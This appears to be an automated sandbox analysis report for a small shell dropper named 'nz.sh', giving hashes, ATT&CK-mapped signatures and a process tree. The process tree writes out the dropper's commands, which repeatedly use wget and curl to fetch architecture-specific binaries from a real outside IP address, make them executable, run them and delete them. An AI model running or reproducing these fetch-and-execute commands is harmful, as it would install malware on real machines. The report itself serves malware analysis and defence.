e096bf51ba4bb7e4791166f7a35befb5a74b9ed2794f80ef7b913c6f16f7bd41

Analysis

max time kernel
4s
max time network
5s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
17/07/2026, 12:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
nz.sh
Size 1KB
Sample260717-psrdvaft2y
SHA256 e096bf51ba4bb7e4791166f7a35befb5a74b9ed2794f80ef7b913c6f16f7bd41
MD5 6ffc505835934d2c7022661649b9d24d
SHA1 641fa1adf2b663635bad2337806faeb3f8134698
SHA512 2a933a39df7ab30a7e358a1b73b0c86b66392d49b09769828d9c15a77a9c92851cb248f7825de72f949974ffa19e669aea19ed2fde60aefc8cdd2fa9d769f72c
TLSH
T1E12165C7110503301EA5D9E6BBBB445970D0D1DE54C3BF6BA8D8B8E9818EE187C42553
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
674	chmod
680	chmod
693	chmod
718	chmod
743	chmod
749	chmod

Checks CPU configuration 1 TTPs 6 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 13 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
678	wget
679	curl
681	nz.mips
683	rm

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/nz.x86	curl
File opened for modification	/tmp/nz.arc	wget
File opened for modification	/tmp/nz.arc	curl
File opened for modification	/tmp/nz.i686	curl
File opened for modification	/tmp/nz.x86_64	wget
File opened for modification	/tmp/nz.mpsl	wget
File opened for modification	/tmp/nz.mips	wget
File opened for modification	/tmp/nz.mips	curl
File opened for modification	/tmp/nz.i686	wget
File opened for modification	/tmp/nz.x86_64	curl
File opened for modification	/tmp/nz.mpsl	curl
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/nz.x86	wget

/tmp/nz.sh
/tmp/nz.sh
1⤵
PID:645
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:651
- /usr/bin/wget
  wget http://41.216.189.236/nz/nz.x86
  2⤵
  - Writes file to tmp directory
  PID:658
- /usr/bin/curl
  curl -O http://41.216.189.236/nz/nz.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:672
- /bin/chmod
  chmod +x busybox nz.sh nz.x86 systemd-private-08a3aa7d0bc34b3883d6652055965655-systemd-timedated.service-L1fNig
  2⤵
  - File and Directory Permissions Modification
  PID:674
- /tmp/nz.x86
  ./nz.x86 nz.x86
  2⤵
  PID:675
- /bin/rm
  rm -rf nz.x86
  2⤵
  PID:677
- /usr/bin/wget
  wget http://41.216.189.236/nz/nz.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:678
- /usr/bin/curl
  curl -O http://41.216.189.236/nz/nz.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:679
- /bin/chmod
  chmod +x busybox nz.mips nz.sh systemd-private-08a3aa7d0bc34b3883d6652055965655-systemd-timedated.service-L1fNig
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /tmp/nz.mips
  ./nz.mips nz.mips
  2⤵
  - System Network Configuration Discovery
  PID:681
- /bin/rm
  rm -rf nz.mips
  2⤵
  - System Network Configuration Discovery
  PID:683
- /usr/bin/wget
  wget http://41.216.189.236/nz/nz.arc
  2⤵
  - Writes file to tmp directory
  PID:684
- /usr/bin/curl
  curl -O http://41.216.189.236/nz/nz.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:685
- /bin/chmod
  chmod +x busybox nz.arc nz.sh systemd-private-08a3aa7d0bc34b3883d6652055965655-systemd-timedated.service-L1fNig
  2⤵
  - File and Directory Permissions Modification
  PID:693
- /tmp/nz.arc
  ./nz.arc nz.arc
  2⤵
  PID:695
- /bin/rm
  rm -rf nz.arc
  2⤵
  PID:698
- /usr/bin/wget
  wget http://41.216.189.236/nz/nz.i686
  2⤵
  - Writes file to tmp directory
  PID:699
- /usr/bin/curl
  curl -O http://41.216.189.236/nz/nz.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:708
- /bin/chmod
  chmod +x busybox nz.i686 nz.sh systemd-private-08a3aa7d0bc34b3883d6652055965655-systemd-timedated.service-L1fNig
  2⤵
  - File and Directory Permissions Modification
  PID:718
- /tmp/nz.i686
  ./nz.i686 nz.i686
  2⤵
  PID:720
- /bin/rm
  rm -rf nz.i686
  2⤵
  PID:723
- /usr/bin/wget
  wget http://41.216.189.236/nz/nz.x86_64
  2⤵
  - Writes file to tmp directory
  PID:724
- /usr/bin/curl
  curl -O http://41.216.189.236/nz/nz.x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/chmod
  chmod +x busybox nz.sh nz.x86_64 systemd-private-08a3aa7d0bc34b3883d6652055965655-systemd-timedated.service-L1fNig
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/nz.x86_64
  ./nz.x86_64 nz.x86_64
  2⤵
  PID:744
- /bin/rm
  rm -rf nz.x86_64
  2⤵
  PID:746
- /usr/bin/wget
  wget http://41.216.189.236/nz/nz.mpsl
  2⤵
  - Writes file to tmp directory
  PID:747
- /usr/bin/curl
  curl -O http://41.216.189.236/nz/nz.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:748
- /bin/chmod
  chmod +x busybox nz.mpsl nz.sh systemd-private-08a3aa7d0bc34b3883d6652055965655-systemd-timedated.service-L1fNig
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/nz.mpsl
  ./nz.mpsl nz.mpsl
  2⤵
  PID:750
- /bin/rm
  rm -rf nz.mpsl
  2⤵
  PID:752

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

busybox

Path /tmp/busybox
Size 507KB
SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
MD5 e588bcf03ae78237b58899d35f50c570
SHA1 2194732ebbefbc27bdae876c77f2a97a20175710
SHA512 904d906ec73ba5f828ee453acfceaf60d07b337a4baf1a88a2edba8d4568e4a3ceae2e24116af0a5b9c8ad194faa72abb62a72d30ae236b0852827c7bf896555
SSDEEP 12288:KKCUYnMx/qAPbFabrimkuc+GnCIRki2jEyfbPxG3:KKqKqsbF2ZjGIrPfbPxG3
TLSH
T1EEB4E0C9FD812D83C6C3823D32021C759575D5DDB3AA921A322DA0FB3768AB653DE394
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads